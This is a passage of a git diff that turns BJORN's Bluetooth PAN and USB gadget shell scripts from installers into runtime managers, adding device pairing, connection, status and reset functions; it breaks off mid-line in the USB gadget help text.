+set_auto_connect_target() { + ensure_root + + if ! select_device all; then + return 1 + fi + + write_configured_mac "$SELECTED_DEVICE_MAC" +} + +pairing_assistant() { + ensure_root + + print_divider + log "SECTION" "Bluetooth pairing assistant" + print_divider + + scan_bluetooth_devices 12 || true + if ! select_device all; then + return 1 + fi + + pair_device "$SELECTED_DEVICE_MAC" || return 1 + trust_device "$SELECTED_DEVICE_MAC" || return 1 + write_configured_mac "$SELECTED_DEVICE_MAC" || return 1 + + echo -n -e "${GREEN}Connect to this device now for PAN? [Y/n]: ${NC}" + read -r answer + case "${answer:-Y}" in + n|N) + log "INFO" "Pairing assistant completed without immediate PAN connect" + ;; + *) + connect_to_target_now "$SELECTED_DEVICE_MAC" + ;; esac } -# ============================================================ -# Error Handling -# ============================================================ -handle_error() { - local error_message=$1 - log "ERROR" "$error_message" - exit 1 +forget_device() { + ensure_root + local configured_mac output + + configured_mac="$(get_configured_mac 2>/dev/null || true)" + if ! select_device all; then + return 1 + fi + + if [ "$SELECTED_DEVICE_MAC" = "$configured_mac" ]; then + log "WARNING" "This device is currently configured as the auto-connect target" + disconnect_pan_session "$SELECTED_DEVICE_MAC" || true + write_configured_mac "" + fi + + log "INFO" "Removing ${SELECTED_DEVICE_NAME} (${SELECTED_DEVICE_MAC}) from BlueZ" + output="$(run_btctl "remove ${SELECTED_DEVICE_MAC}")" + if printf '%s\n' "$output" | grep -qi "Device has been removed"; then + log "SUCCESS" "Device removed" + return 0 + fi + + if ! bluetoothctl devices 2>/dev/null | grep -q "$SELECTED_DEVICE_MAC"; then + log "SUCCESS" "Device no longer appears in known devices" + return 0 + fi + + log "ERROR" "Failed to remove device" + printf '%s\n' "$output" + return 1 } -# ============================================================ -# Function to Check Command Success -# ============================================================ -check_success() { - if [ $? -eq 0 ]; then - log "SUCCESS" "$1" - return 0 +trust_selected_device() { + ensure_root + if ! select_device all; then + return 1 + fi + trust_device "$SELECTED_DEVICE_MAC" +} + +list_bluetooth_status() { + local configured_mac controller_info paired trusted connected + + print_divider + log "SECTION" "BJORN Bluetooth PAN Status" + print_divider + + controller_info="$(run_btctl "show")" + configured_mac="$(get_configured_mac 2>/dev/null || true)" + + if service_exists "$BLUETOOTH_SERVICE"; then + service_active "$BLUETOOTH_SERVICE" && log "SUCCESS" "${BLUETOOTH_SERVICE} is active" || log "WARNING" "${BLUETOOTH_SERVICE} is not active" + service_enabled "$BLUETOOTH_SERVICE" && log "SUCCESS" "${BLUETOOTH_SERVICE} is enabled at boot" || log "WARNING" "${BLUETOOTH_SERVICE} is not enabled at boot" else - handle_error "$1" - return $? + log "ERROR" "${BLUETOOTH_SERVICE} is not installed" + fi + + if service_exists "$AUTO_BT_SERVICE"; then + service_active "$AUTO_BT_SERVICE" && log "SUCCESS" "${AUTO_BT_SERVICE} is active" || log "WARNING" "${AUTO_BT_SERVICE} is not active" + service_enabled "$AUTO_BT_SERVICE" && log "SUCCESS" "${AUTO_BT_SERVICE} is enabled at boot" || log "WARNING" "${AUTO_BT_SERVICE} is not enabled at boot" + else + log "ERROR" "${AUTO_BT_SERVICE} is not installed" + fi + + [ -f "$AUTO_BT_SCRIPT" ] && log "SUCCESS" "${AUTO_BT_SCRIPT} exists" || log "ERROR" "${AUTO_BT_SCRIPT} is missing" + [ -f "$BT_CONFIG" ] && log "SUCCESS" "${BT_CONFIG} exists" || log "WARNING" "${BT_CONFIG} is missing" + + if printf '%s\n' "$controller_info" | grep -q "Powered: yes"; then + log "SUCCESS" "Bluetooth controller is powered on" + else + log "WARNING" "Bluetooth controller is not powered on" + fi + + if [ -n "$configured_mac" ]; then + log "INFO" "Configured auto-connect target: ${configured_mac} ($(device_name "$configured_mac"))" + paired="$(device_flag "$configured_mac" "Paired")" + trusted="$(device_flag "$configured_mac" "Trusted")" + connected="$(device_flag "$configured_mac" "Connected")" + log "INFO" "Configured target state: paired=${paired:-unknown}, trusted=${trusted:-unknown}, connected=${connected:-unknown}" + else + log "WARNING" "No auto-connect target configured in ${BT_CONFIG}" + fi + + if bnep0_exists; then + log "SUCCESS" "bnep0 interface exists" + ip -brief addr show bnep0 2>/dev/null || true + else + log "WARNING" "bnep0 interface is not present" + fi + + print_divider + log "SECTION" "Known Devices" + load_devices all + print_device_list "$configured_mac" || true + + print_divider + log "SECTION" "Quick Recovery Hints" + log "INFO" "Use -p for the pairing assistant" + log "INFO" "Use -c to connect now to the configured target" + log "INFO" "Use -r to reset Bluetooth PAN if bnep0 is stuck" + log "INFO" "Follow logs with: sudo journalctl -u ${AUTO_BT_SERVICE} -f" +} + +bring_bluetooth_pan_up() { + ensure_root + local configured_mac + + print_divider + log "SECTION" "Bringing Bluetooth PAN up" + print_divider + + bluetooth_power_on || return 1 + configured_mac="$(get_configured_mac 2>/dev/null || true)" + + if [ -z "$configured_mac" ]; then + log "WARNING" "No configured target in ${BT_CONFIG}" + log "INFO" "Use the pairing assistant (-p) or set a target from the menu" + fi + + if service_exists "$AUTO_BT_SERVICE"; then + systemctl daemon-reload >> "$LOG_FILE" 2>&1 || true + systemctl start "$AUTO_BT_SERVICE" >> "$LOG_FILE" 2>&1 || { + log "ERROR" "Failed to start ${AUTO_BT_SERVICE}" + show_recent_logs + return 1 + } + log "SUCCESS" "Start command sent to ${AUTO_BT_SERVICE}" + else + log "ERROR" "${AUTO_BT_SERVICE} is not installed" + return 1 + fi + + wait_for_condition "${AUTO_BT_SERVICE} to become active" 10 service_active "$AUTO_BT_SERVICE" || true + if [ -n "$configured_mac" ]; then + wait_for_condition "bnep0 to appear" 15 bnep0_exists || true + fi + + if bnep0_exists; then + log "SUCCESS" "Bluetooth PAN is up on bnep0" + ip -brief addr show bnep0 2>/dev/null || true + else + log "WARNING" "Bluetooth PAN is not up yet" fi } -# ============================================================ -# Function to Show Usage -# ============================================================ +bring_bluetooth_pan_down() { + ensure_root + local configured_mac + + print_divider + log "SECTION" "Bringing Bluetooth PAN down" + print_divider + + configured_mac="$(get_configured_mac 2>/dev/null || true)" + disconnect_pan_session "$configured_mac" +} + +reset_bluetooth_pan() { + ensure_root + + print_divider + log "SECTION" "Resetting Bluetooth PAN" + print_divider + + bring_bluetooth_pan_down || log "WARNING" "Down phase reported an issue, continuing" + log "INFO" "Waiting 2 seconds before restart" + sleep 2 + bring_bluetooth_pan_up +} + show_usage() { echo -e "${GREEN}Usage: $0 [OPTIONS]${NC}" echo -e "Options:" - echo -e " ${BLUE}-f${NC} Install Bluetooth PAN" - echo -e " ${BLUE}-u${NC} Uninstall Bluetooth PAN" - echo -e " ${BLUE}-l${NC} List Bluetooth PAN Information" + echo -e " ${BLUE}-u${NC} Bring Bluetooth PAN services up" + echo -e " ${BLUE}-d${NC} Bring Bluetooth PAN services down" + echo -e " ${BLUE}-r${NC} Reset Bluetooth PAN services" + echo -e " ${BLUE}-l${NC} Show detailed Bluetooth status" + echo -e " ${BLUE}-s${NC} Scan nearby Bluetooth devices" + echo -e " ${BLUE}-p${NC} Launch pairing assistant" + echo -e " ${BLUE}-c${NC} Connect now to configured target" + echo -e " ${BLUE}-t${NC} Trust a known device" + echo -e " ${BLUE}-x${NC} Disconnect current PAN session" + echo -e " ${BLUE}-f${NC} Forget/remove a known device" echo -e " ${BLUE}-h${NC} Show this help message" echo -e "" - echo -e "Example:" - echo -e " $0 -f Install Bluetooth PAN" - echo -e " $0 -u Uninstall Bluetooth PAN" - echo -e " $0 -l List Bluetooth PAN Information" - echo -e " $0 -h Show help" + echo -e "Examples:" + echo -e " $0 -p Scan, pair, trust, set target, and optionally connect now" + echo -e " $0 -u Start Bluetooth and the auto PAN reconnect service" + echo -e " $0 -r Reset a stuck bnep0/PAN session" + echo -e " $0 -f Forget a previously paired device" echo -e "" - echo -e "${YELLOW}===== Bluetooth PAN Configuration Procedure =====${NC}" - echo -e "To configure the Bluetooth PAN driver and set the IP address, subnet mask, and gateway for the PAN network interface card, follow the steps below:" - echo -e "" - echo -e "1. **Configure IP Address on the Server (Pi):**" - echo -e " - The default IP address is set in the script as follows:" - echo -e " - IP: 172.20.2.1" - echo -e " - Subnet Mask: 255.255.255.0" - echo -e "" - echo -e "2. **Configure IP Address on the Host Computer:**" - echo -e " - On your host computer (Windows, Linux, etc.), configure the RNDIS network interface to use an IP address in the same subnet. For example:" - echo -e " - IP: 172.20.2.2" - echo -e " - Subnet Mask: 255.255.255.0" - echo -e " - Gateway: 172.20.2.1" - echo -e " - DNS Servers: 8.8.8.8, 8.8.4.4" - echo -e "" - echo -e "3. **Restart the Service:**" - echo -e " - After installing the Bluetooth PAN, restart the service to apply the changes:" - echo -e " ```bash" - echo -e " sudo systemctl restart auto_bt_connect.service" - echo -e " ```" - echo -e "" - echo -e "4. **Verify the Connection:**" - echo -e " - Ensure that the PAN network interface is active on both devices." - echo -e " - Test connectivity by pinging the IP address of the other device." - echo -e " - From the Pi: \`ping 172.20.2.2\`" - echo -e " - From the host computer: \`ping 172.20.2.1\`" - echo -e "" - echo -e "===== End of Procedure =====${NC}" - exit 1 + echo -e "${YELLOW}This script no longer installs or removes Bluetooth PAN.${NC}" + echo -e "${YELLOW}That part is handled by the BJORN installer.${NC}" + if [ "${1:-exit}" = "return" ]; then + return 0 + fi + exit 0 } -# ============================================================ -# Function to Install Bluetooth PAN -# ============================================================ -install_bluetooth_pan() { - log "INFO" "Starting Bluetooth PAN installation..." - - # Ensure the script is run as root - if [ "$(id -u)" -ne 0 ]; then - log "ERROR" "This script must be run as root. Please use 'sudo'." - exit 1 - fi - - # Create settings directory - SETTINGS_DIR="/home/bjorn/.settings_bjorn" - if [ ! -d "$SETTINGS_DIR" ]; then - mkdir -p "$SETTINGS_DIR" - check_success "Created settings directory at $SETTINGS_DIR" - else - log "INFO" "Settings directory $SETTINGS_DIR already exists. Skipping creation." - fi - - # Create bt.json if it doesn't exist - BT_CONFIG="$SETTINGS_DIR/bt.json" - if [ ! -f "$BT_CONFIG" ]; then - log "INFO" "Creating Bluetooth configuration file at $BT_CONFIG" - cat << 'EOF' > "$BT_CONFIG" -{ - "device_mac": "AA:BB:CC:DD:EE:FF" # Replace with your device's MAC address -} -EOF - check_success "Created Bluetooth configuration file at $BT_CONFIG" - log "WARNING" "Please edit $BT_CONFIG to include your Bluetooth device's MAC address." - else - log "INFO" "Bluetooth configuration file $BT_CONFIG already exists. Skipping creation." - fi - - # Create auto_bt_connect.py - BT_PY_SCRIPT="/usr/local/bin/auto_bt_connect.py" - if [ ! -f "$BT_PY_SCRIPT" ]; then - log "INFO" "Creating Bluetooth auto-connect Python script at $BT_PY_SCRIPT" - cat << 'EOF' > "$BT_PY_SCRIPT" -#!/usr/bin/env python3 -import json -import subprocess -import time -import logging -import os - -LOG_FORMAT = "%(asctime)s - %(name)s - %(levelname)s - %(message)s" -logging.basicConfig(filename="/var/log/auto_bt_connect.log", level=logging.INFO, format=LOG_FORMAT) -logger = logging.getLogger("auto_bt_connect") - -CONFIG_PATH = "/home/bjorn/.settings_bjorn/bt.json" -CHECK_INTERVAL = 30 # Interval in seconds between each check - -def ensure_bluetooth_service(): - try: - res = subprocess.run(["systemctl", "is-active", "bluetooth"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - if "active" not in res.stdout: - logger.info("Bluetooth service not active. Starting and enabling it...") - start_res = subprocess.run(["systemctl", "start", "bluetooth"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - if start_res.returncode != 0: - logger.error(f"Failed to start bluetooth service: {start_res.stderr}") - return False - - enable_res = subprocess.run(["systemctl", "enable", "bluetooth"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - if enable_res.returncode != 0: - logger.error(f"Failed to enable bluetooth service: {enable_res.stderr}") - # Not fatal, but log it. - else: - logger.info("Bluetooth service enabled successfully.") - else: - logger.info("Bluetooth service is already active.") - return True - except Exception as e: - logger.error(f"Error ensuring bluetooth service: {e}") - return False - -def is_already_connected(): - # Check if bnep0 interface is up with an IP - ip_res = subprocess.run(["ip", "addr", "show", "bnep0"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - if ip_res.returncode == 0 and "inet " in ip_res.stdout: - # bnep0 interface exists and has an IPv4 address - logger.info("bnep0 is already up and has an IP. No action needed.") - return True - return False - -def run_in_background(cmd): - # Run a command in background, return the process - process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - return process - -def establish_connection(device_mac): - # Attempt to run bt-network - logger.info(f"Attempting to connect PAN with device {device_mac}...") - bt_process = run_in_background(["bt-network", "-c", device_mac, "nap"]) - # Wait a bit for PAN to set up - time.sleep(3) - - # Check if bt-network exited prematurely - if bt_process.poll() is not None: - # Process ended - if bt_process.returncode != 0: - stderr_output = bt_process.stderr.read() if bt_process.stderr else "" - logger.error(f"bt-network failed: {stderr_output}") - return False - else: - logger.warning("bt-network ended immediately. PAN may not be established.") - return False - else: - logger.info("bt-network running in background...") - - # Now run dhclient for IPv4 - dh_res = subprocess.run(["dhclient", "-4", "bnep0"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - if dh_res.returncode != 0: - logger.error(f"dhclient failed: {dh_res.stderr}") - return False - - logger.info("Successfully obtained IP on bnep0. PAN connection established.") - return True - -def load_config(): - if not os.path.exists(CONFIG_PATH): - logger.error(f"Config file {CONFIG_PATH} not found.") - return None - - try: - with open(CONFIG_PATH, "r") as f: - config = json.load(f) - device_mac = config.get("device_mac") - if not device_mac: - logger.error("No device_mac found in config.") - return None - return device_mac - except Exception as e: - logger.error(f"Error loading config: {e}") - return None - -def main(): - device_mac = load_config() - if not device_mac: - return - - while True: - try: - if not ensure_bluetooth_service(): - logger.error("Bluetooth service setup failed.") - elif is_already_connected(): - # Already connected and has IP, do nothing - pass - else: - # Attempt to establish connection - success = establish_connection(device_mac) - if not success: - logger.warning("Failed to establish PAN connection.") - - except Exception as e: - logger.error(f"Unexpected error in main loop: {e}") - - # Wait before the next check - time.sleep(CHECK_INTERVAL) - -if __name__ == "__main__": - main() -EOF - check_success "Created Bluetooth auto-connect Python script at $BT_PY_SCRIPT" - else - log "INFO" "Bluetooth auto-connect Python script $BT_PY_SCRIPT already exists. Skipping creation." - fi - - # Make the Python script executable - chmod +x "$BT_PY_SCRIPT" - check_success "Made Python script executable at $BT_PY_SCRIPT" - - # Create the systemd service - BT_SERVICE="/etc/systemd/system/auto_bt_connect.service" - if [ ! -f "$BT_SERVICE" ]; then - log "INFO" "Creating systemd service at $BT_SERVICE" - cat << 'EOF' > "$BT_SERVICE" -[Unit] -Description=Auto Bluetooth PAN Connect -After=network.target bluetooth.service -Wants=bluetooth.service - -[Service] -Type=simple -ExecStart=/usr/local/bin/auto_bt_connect.py -Restart=on-failure -RestartSec=10 - -[Install] -WantedBy=multi-user.target -EOF - check_success "Created systemd service at $BT_SERVICE" - else - log "INFO" "Systemd service $BT_SERVICE already exists. Skipping creation." - fi - - # Reload systemd daemon - systemctl daemon-reload - check_success "Reloaded systemd daemon" - - # Enable and start the service - systemctl enable auto_bt_connect.service - check_success "Enabled auto_bt_connect.service" - - systemctl start auto_bt_connect.service - check_success "Started auto_bt_connect.service" - - echo -e "${GREEN}Bluetooth PAN installation completed successfully. A reboot is required for changes to take effect.${NC}" -} - -# ============================================================ -# Function to Uninstall Bluetooth PAN -# ============================================================ -uninstall_bluetooth_pan() { - log "INFO" "Starting Bluetooth PAN uninstallation..." - - # Ensure the script is run as root - if [ "$(id -u)" -ne 0 ]; then - log "ERROR" "This script must be run as root. Please use 'sudo'." - exit 1 - fi - - BT_SERVICE="/etc/systemd/system/auto_bt_connect.service" - BT_PY_SCRIPT="/usr/local/bin/auto_bt_connect.py" - SETTINGS_DIR="/home/bjorn/.settings_bjorn" - BT_CONFIG="$SETTINGS_DIR/bt.json" - - # Stop and disable the service - if systemctl is-active --quiet auto_bt_connect.service; then - systemctl stop auto_bt_connect.service - check_success "Stopped auto_bt_connect.service" - else - log "INFO" "auto_bt_connect.service is not running." - fi - - if systemctl is-enabled --quiet auto_bt_connect.service; then - systemctl disable auto_bt_connect.service - check_success "Disabled auto_bt_connect.service" - else - log "INFO" "auto_bt_connect.service is not enabled." - fi - - # Remove the systemd service file - if [ -f "$BT_SERVICE" ]; then - rm "$BT_SERVICE" - check_success "Removed $BT_SERVICE" - else - log "INFO" "$BT_SERVICE does not exist. Skipping removal." - fi - - # Remove the Python script - if [ -f "$BT_PY_SCRIPT" ]; then - rm "$BT_PY_SCRIPT" - check_success "Removed $BT_PY_SCRIPT" - else - log "INFO" "$BT_PY_SCRIPT does not exist. Skipping removal." - fi - - # Remove Bluetooth configuration directory and file - if [ -d "$SETTINGS_DIR" ]; then - rm -rf "$SETTINGS_DIR" - check_success "Removed settings directory at $SETTINGS_DIR" - else - log "INFO" "Settings directory $SETTINGS_DIR does not exist. Skipping removal." - fi - - # Reload systemd daemon - systemctl daemon-reload - check_success "Reloaded systemd daemon" - - log "SUCCESS" "Bluetooth PAN uninstallation completed successfully." -} - -# ============================================================ -# Function to List Bluetooth PAN Information -# ============================================================ -list_bluetooth_pan_info() { - echo -e "${CYAN}===== Bluetooth PAN Information =====${NC}" - - BT_SERVICE="/etc/systemd/system/auto_bt_connect.service" - BT_PY_SCRIPT="/usr/local/bin/auto_bt_connect.py" - BT_CONFIG="/home/bjorn/.settings_bjorn/bt.json" - - # Check status of auto_bt_connect.service - echo -e "\n${YELLOW}Service Status:${NC}" - if systemctl list-units --type=service | grep -q auto_bt_connect.service; then - systemctl status auto_bt_connect.service --no-pager - else - echo -e "${RED}auto_bt_connect.service is not installed.${NC}" - fi - - # Check if Bluetooth auto-connect Python script exists - echo -e "\n${YELLOW}Bluetooth Auto-Connect Script:${NC}" - if [ -f "$BT_PY_SCRIPT" ]; then - echo -e "${GREEN}$BT_PY_SCRIPT exists.${NC}" - else - echo -e "${RED}$BT_PY_SCRIPT does not exist.${NC}" - fi - - # Check Bluetooth configuration file - echo -e "\n${YELLOW}Bluetooth Configuration File:${NC}" - if [ -f "$BT_CONFIG" ]; then - echo -e "${GREEN}$BT_CONFIG exists.${NC}" - echo -e "${CYAN}Contents:${NC}" - cat "$BT_CONFIG" - else - echo -e "${RED}$BT_CONFIG does not exist.${NC}" - fi - - echo -e "\n===== End of Information =====" -} - -# ============================================================ -# Function to Display the Main Menu -# ============================================================ display_main_menu() { while true; do clear - echo -e "${BLUE}╔════════════════════════════════════════╗${NC}" - echo -e "${BLUE}║ Bluetooth PAN Manager Menu ║${NC}" - echo -e "${BLUE}╠════════════════════════════════════════╣${NC}" - echo -e "${BLUE}║${NC} 1. Install Bluetooth PAN ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 2. Uninstall Bluetooth PAN ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 3. List Bluetooth PAN Information ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 4. Show Help ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 5. Exit ${BLUE}║${NC}" - echo -e "${BLUE}╚════════════════════════════════════════╝${NC}" - echo -e "Note: Ensure you run this script as root." - echo -e "${YELLOW}Usage: $0 [OPTIONS] (use -h for help)${NC}" - echo -n -e "${GREEN}Please choose an option (1-5): ${NC}" - read choice + print_divider + echo -e "${CYAN} BJORN Bluetooth Runtime Manager v${SCRIPT_VERSION}${NC}" + print_divider + echo -e "${BLUE} 1.${NC} Show Bluetooth PAN status" + echo -e "${BLUE} 2.${NC} Bring Bluetooth PAN up" + echo -e "${BLUE} 3.${NC} Bring Bluetooth PAN down" + echo -e "${BLUE} 4.${NC} Reset Bluetooth PAN" + echo -e "${BLUE} 5.${NC} Scan nearby Bluetooth devices" + echo -e "${BLUE} 6.${NC} Pairing assistant" + echo -e "${BLUE} 7.${NC} Connect now to configured target" + echo -e "${BLUE} 8.${NC} Set/change auto-connect target" + echo -e "${BLUE} 9.${NC} Trust a known device" + echo -e "${BLUE}10.${NC} Disconnect current PAN session" + echo -e "${BLUE}11.${NC} Forget/remove a known device" + echo -e "${BLUE}12.${NC} Show help" + echo -e "${BLUE}13.${NC} Exit" + echo -e "" + echo -e "${YELLOW}Note:${NC} installation/removal is no longer handled here." + echo -n -e "${GREEN}Choose an option (1-13): ${NC}" + read -r choice - case $choice in + case "$choice" in 1) - install_bluetooth_pan + list_bluetooth_status echo "" - read -p "Press Enter to return to the menu..." + read -r -p "Press Enter to return to the menu..." ;; 2) - uninstall_bluetooth_pan + bring_bluetooth_pan_up echo "" - read -p "Press Enter to return to the menu..." + read -r -p "Press Enter to return to the menu..." ;; 3) - list_bluetooth_pan_info + bring_bluetooth_pan_down echo "" - read -p "Press Enter to return to the menu..." + read -r -p "Press Enter to return to the menu..." ;; 4) - show_usage + reset_bluetooth_pan + echo "" + read -r -p "Press Enter to return to the menu..." ;; 5) - log "INFO" "Exiting Bluetooth PAN Manager. Goodbye!" + scan_bluetooth_devices 12 + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 6) + pairing_assistant + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 7) + connect_to_target_now "$(get_configured_mac 2>/dev/null || true)" + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 8) + set_auto_connect_target + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 9) + trust_selected_device + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 10) + disconnect_pan_session "$(get_configured_mac 2>/dev/null || true)" + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 11) + forget_device + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 12) + show_usage return + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 13) + log "INFO" "Exiting BJORN Bluetooth Runtime Manager" exit 0 ;; *) - log "ERROR" "Invalid option. Please choose between 1-5." + log "ERROR" "Invalid option. Please choose between 1 and 13." sleep 2 ;; esac done } -# ============================================================ -# Process Command Line Arguments -# ============================================================ -while getopts ":fulh" opt; do - case $opt in - f) - install_bluetooth_pan - exit 0 - ;; - u) - uninstall_bluetooth_pan - exit 0 - ;; - l) - list_bluetooth_pan_info - exit 0 - ;; - h) - show_usage - ;; - \?) - echo -e "${RED}Invalid option: -$OPTARG${NC}" >&2 - show_usage - ;; - esac +while getopts ":udrlspctxfh" opt; do + case "$opt" in + u) + bring_bluetooth_pan_up + exit $? + ;; + d) + bring_bluetooth_pan_down + exit $? + ;; + r) + reset_bluetooth_pan + exit $? + ;; + l) + list_bluetooth_status + exit 0 + ;; + s) + scan_bluetooth_devices 12 + exit $? + ;; + p) + pairing_assistant + exit $? + ;; + c) + connect_to_target_now "$(get_configured_mac 2>/dev/null || true)" + exit $? + ;; + t) + trust_selected_device + exit $? + ;; + x) + disconnect_pan_session "$(get_configured_mac 2>/dev/null || true)" + exit $? + ;; + f) + forget_device + exit $? + ;; + h) + show_usage + ;; + \?) + log "ERROR" "Invalid option: -$OPTARG" + show_usage + ;; + esac done -# ============================================================ -# Main Execution -# ============================================================ -# If no arguments are provided, display the menu if [ $OPTIND -eq 1 ]; then display_main_menu fi diff --git a/bjorn_usb_gadget.sh b/bjorn_usb_gadget.sh index 08825f4..bec3db4 100644 --- a/bjorn_usb_gadget.sh +++ b/bjorn_usb_gadget.sh @@ -1,567 +1,430 @@ #!/bin/bash # bjorn_usb_gadget.sh -# Script to configure USB Gadget for BJORN -# Usage: ./bjorn_usb_gadget.sh -f -# ./bjorn_usb_gadget.sh -u -# ./bjorn_usb_gadget.sh -l -# ./bjorn_usb_gadget.sh -h -# Author: Infinition -# Version: 1.4 -# Description: This script configures and manages USB Gadget for BJORN with duplicate prevention +# Runtime manager for the BJORN USB composite gadget +# Usage: +# ./bjorn_usb_gadget.sh -u Bring the gadget up +# ./bjorn_usb_gadget.sh -d Bring the gadget down +# ./bjorn_usb_gadget.sh -r Reset the gadget (down + up) +# ./bjorn_usb_gadget.sh -l Show detailed status +# ./bjorn_usb_gadget.sh -h Show help +# +# Notes: +# This script no longer installs or removes the USB gadget stack. +# Installation is handled by the BJORN installer. +# This tool is for runtime diagnostics and recovery only. + +set -u -# ============================================================ -# Colors for Output -# ============================================================ RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' BLUE='\033[0;34m' -NC='\033[0m' # No Color +CYAN='\033[0;36m' +NC='\033[0m' -# ============================================================ -# Logging Configuration -# ============================================================ +SCRIPT_VERSION="2.0" LOG_DIR="/var/log/bjorn_install" LOG_FILE="$LOG_DIR/bjorn_usb_gadget_$(date +%Y%m%d_%H%M%S).log" -# Ensure log directory exists -mkdir -p "$LOG_DIR" +USB_GADGET_SERVICE="usb-gadget.service" +USB_GADGET_SCRIPT="/usr/local/bin/usb-gadget.sh" +DNSMASQ_SERVICE="dnsmasq.service" +DNSMASQ_CONFIG="/etc/dnsmasq.d/usb0" +MODULES_LOAD_FILE="/etc/modules-load.d/usb-gadget.conf" +MODULES_FILE="/etc/modules" +INTERFACES_FILE="/etc/network/interfaces" + +mkdir -p "$LOG_DIR" 2>/dev/null || true +touch "$LOG_FILE" 2>/dev/null || true -# ============================================================ -# Logging Function -# ============================================================ log() { - local level=$1 + local level="$1" shift local message="[$(date '+%Y-%m-%d %H:%M:%S')] [$level] $*" - echo -e "$message" | tee -a "$LOG_FILE" - case $level in - "ERROR") echo -e "${RED}$message${NC}" ;; - "SUCCESS") echo -e "${GREEN}$message${NC}" ;; - "WARNING") echo -e "${YELLOW}$message${NC}" ;; - "INFO") echo -e "${BLUE}$message${NC}" ;; - *) echo -e "$message" ;; + local color="$NC" + + case "$level" in + ERROR) color="$RED" ;; + SUCCESS) color="$GREEN" ;; + WARNING) color="$YELLOW" ;; + INFO) color="$BLUE" ;; + SECTION) color="$CYAN" ;; esac + + printf '%s\n' "$message" >> "$LOG_FILE" 2>/dev/null || true + printf '%b%s%b\n' "$color" "$message" "$NC" } -# ============================================================ -# Error Handling -# ============================================================ -handle_error() { - local error_message=$1 - log "ERROR" "$error_message" - exit 1 -} - -# ============================================================ -# Function to Check Command Success -# ============================================================ -check_success() { - if [ $? -eq 0 ]; then - log "SUCCESS" "$1" - return 0 - else - handle_error "$1" - return $? +show_recent_logs() { + if command -v journalctl >/dev/null 2>&1 && systemctl list-unit-files --type=service | grep -q "^${USB_GADGET_SERVICE}"; then + log "INFO" "Recent ${USB_GADGET_SERVICE} logs:" + journalctl -u "$USB_GADGET_SERVICE" -n 20 --no-pager 2>/dev/null || true fi } -# ============================================================ -# Function to Show Usage -# ============================================================ +ensure_root() { + if [ "$(id -u)" -ne 0 ]; then + log "ERROR" "This command must be run as root. Please use sudo." + exit 1 + fi +} + +service_exists() { + systemctl list-unit-files --type=service 2>/dev/null | grep -q "^$1" +} + +service_active() { + systemctl is-active --quiet "$1" +} + +service_enabled() { + systemctl is-enabled --quiet "$1" +} + +usb0_exists() { + ip link show usb0 >/dev/null 2>&1 +} + +print_divider() { + printf '%b%s%b\n' "$CYAN" "============================================================" "$NC" +} + +detect_boot_paths() { + local cmdline="" + local config="" + + if [ -f /boot/firmware/cmdline.txt ]; then + cmdline="/boot/firmware/cmdline.txt" + elif [ -f /boot/cmdline.txt ]; then + cmdline="/boot/cmdline.txt" + fi + + if [ -f /boot/firmware/config.txt ]; then + config="/boot/firmware/config.txt" + elif [ -f /boot/config.txt ]; then + config="/boot/config.txt" + fi + + printf '%s|%s\n' "$cmdline" "$config" +} + +wait_for_condition() { + local description="$1" + local attempts="$2" + shift 2 + + local i=1 + while [ "$i" -le "$attempts" ]; do + if "$@"; then + log "SUCCESS" "$description" + return 0 + fi + log "INFO" "Waiting for $description ($i/$attempts)..." + sleep 1 + i=$((i + 1)) + done + + log "WARNING" "$description not reached after ${attempts}s" + return 1 +} show_usage() { echo -e "${GREEN}Usage: $0 [OPTIONS]${NC}" echo -e "Options:" - echo -e " ${BLUE}-f${NC} Install USB Gadget" - echo -e " ${BLUE}-u${NC} Uninstall USB Gadget" - echo -e " ${BLUE}-l${NC} List USB Gadget Information" + echo -e " ${BLUE}-u${NC} Bring USB Gadget up" + echo -e " ${BLUE}-d${NC} Bring USB Gadget down" + echo -e " ${BLUE}-r${NC} Reset USB Gadget (down + up)" + echo -e " ${BLUE}-l${NC} List detailed USB Gadget status" echo -e " ${BLUE}-h${NC} Show this help message" echo -e "" - echo -e "Example:" - echo -e " $0 -f Install USB Gadget" - echo -e " $0 -u Uninstall USB Gadget" - echo -e " $0 -l List USB Gadget Information" - echo -e " $0 -h Show help" + echo -e "Examples:" + echo -e " $0 -u Start the BJORN composite gadget" + echo -e " $0 -d Stop the BJORN composite gadget cleanly" + echo -e " $0 -r Reinitialize the gadget if RNDIS/HID is stuck" + echo -e " $0 -l Show services, usb0, /dev/hidg*, and boot config" echo -e "" - echo -e "${YELLOW}===== RNDIS Configuration Procedure =====${NC}" - echo -e "To configure the RNDIS driver and set the IP address, subnet mask, and gateway for the RNDIS network interface card, follow the steps below:" - echo -e "" - echo -e "1. **Configure IP Address on the Server (Pi):**" - echo -e " - The default IP address is set in the script as follows:" - echo -e " - IP: 172.20.2.1" - echo -e " - Subnet Mask: 255.255.255.0" - echo -e " - Gateway: 172.20.2.1" - echo -e "" - echo -e "2. **Configure IP Address on the Host Computer:**" - echo -e " - On your host computer (Windows, Linux, etc.), configure the RNDIS network interface to use an IP address in the same subnet. For example:" - echo -e " - IP: 172.20.2.2" - echo -e " - Subnet Mask: 255.255.255.0" - echo -e " - Gateway: 172.20.2.1" - echo -e "" - echo -e "3. **Restart the Service:**" - echo -e " - After installing the USB gadget, restart the service to apply the changes:" - echo -e " ```bash" - echo -e " sudo systemctl restart usb-gadget.service" - echo -e " ```" - echo -e "" - echo -e "4. **Verify the Connection:**" - echo -e " - Ensure that the RNDIS network interface is active on both devices." - echo -e " - Test connectivity by pinging the IP address of the other device." - echo -e 